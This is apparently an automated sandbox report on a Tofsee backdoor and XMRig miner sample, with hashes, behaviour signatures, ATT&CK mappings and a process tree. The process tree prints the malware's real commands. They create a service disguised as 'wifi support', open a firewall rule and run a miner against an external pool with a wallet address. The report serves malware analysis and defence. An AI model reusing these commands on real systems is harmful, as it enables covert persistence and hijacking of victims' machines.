Overview

overview

10

Static

static

xtllixwk.exe

windows7_x64

10

xtllixwk.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-02-2021 10:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    xtllixwk.exe

  • Size

    12.6MB

  • MD5

    a65502084b6d09ee1219201d47f46c20

  • SHA1

    6855bfa842237d60e76691ce5f59865a045e7e08

  • SHA256

    8e9077111645da006312e59519b5080e63a9ab0ef7cf686894bfa72279970a33

  • SHA512

    4a5c53deea9a78aec63de61512aa1cdf101ab8d68dcb0c478d8106e8c6fbfd1c20eb80b0c326a4544a747cf120770198d3f9ba0c6f99fd81534d689c778cc34e

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe
    "C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\feuyfgqx\
      2⤵
        PID:184
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\namjcpue.exe" C:\Windows\SysWOW64\feuyfgqx\
        2⤵
          PID:3608
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create feuyfgqx binPath= "C:\Windows\SysWOW64\feuyfgqx\namjcpue.exe /d\"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3648
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description feuyfgqx "wifi internet conection"
            2⤵
              PID:2128
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start feuyfgqx
              2⤵
                PID:3496
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2200
              • C:\Windows\SysWOW64\feuyfgqx\namjcpue.exe
                C:\Windows\SysWOW64\feuyfgqx\namjcpue.exe /d"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3732
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4032
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3848

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\namjcpue.exe
                MD5

                c6913783f57de3399989af4f1a38d0a6

                SHA1

                6ee4b29d7c20624228fa9333eccba35329d95c22

                SHA256

                00f028bfa914200d655bb288a3a9bf546dea41065c5877b5262f65cabf15ba2e

                SHA512

                6b9b0dfa4dfacc826f7011d1af94f9ecbeb830591f8ab63c8feacb4a236d9354492303b8b75337794864ab7de141ae06c87471ffda778a17911dee39f139cb68

                Download Submit
              • C:\Windows\SysWOW64\feuyfgqx\namjcpue.exe
                MD5

                c6913783f57de3399989af4f1a38d0a6

                SHA1

                6ee4b29d7c20624228fa9333eccba35329d95c22

                SHA256

                00f028bfa914200d655bb288a3a9bf546dea41065c5877b5262f65cabf15ba2e

                SHA512

                6b9b0dfa4dfacc826f7011d1af94f9ecbeb830591f8ab63c8feacb4a236d9354492303b8b75337794864ab7de141ae06c87471ffda778a17911dee39f139cb68

                Download Submit
              • memory/184-6-0x0000000000000000-mapping.dmp
                Download
              • memory/648-4-0x00000000062B0000-0x00000000062C3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/648-3-0x00000000046E0000-0x00000000046ED000-memory.dmp
                Filesize

                52KB

                Download
              • memory/648-5-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/648-2-0x00000000064B0000-0x00000000064B1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2128-10-0x0000000000000000-mapping.dmp
                Download
              • memory/2200-13-0x0000000000000000-mapping.dmp
                Download
              • memory/3496-11-0x0000000000000000-mapping.dmp
                Download
              • memory/3608-7-0x0000000000000000-mapping.dmp
                Download
              • memory/3648-9-0x0000000000000000-mapping.dmp
                Download
              • memory/3732-14-0x0000000005080000-0x0000000005081000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3732-15-0x0000000005080000-0x0000000005081000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3848-24-0x00000000008E0000-0x00000000009D1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/3848-26-0x000000000097259C-mapping.dmp
                Download
              • memory/4032-16-0x0000000000DA0000-0x0000000000DB5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/4032-17-0x0000000000DA9A6B-mapping.dmp
                Download
              • memory/4032-21-0x0000000000DA0000-0x0000000000DB5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/4032-22-0x0000000004E40000-0x000000000504F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/4032-23-0x0000000001010000-0x0000000001016000-memory.dmp
                Filesize

                24KB

                Download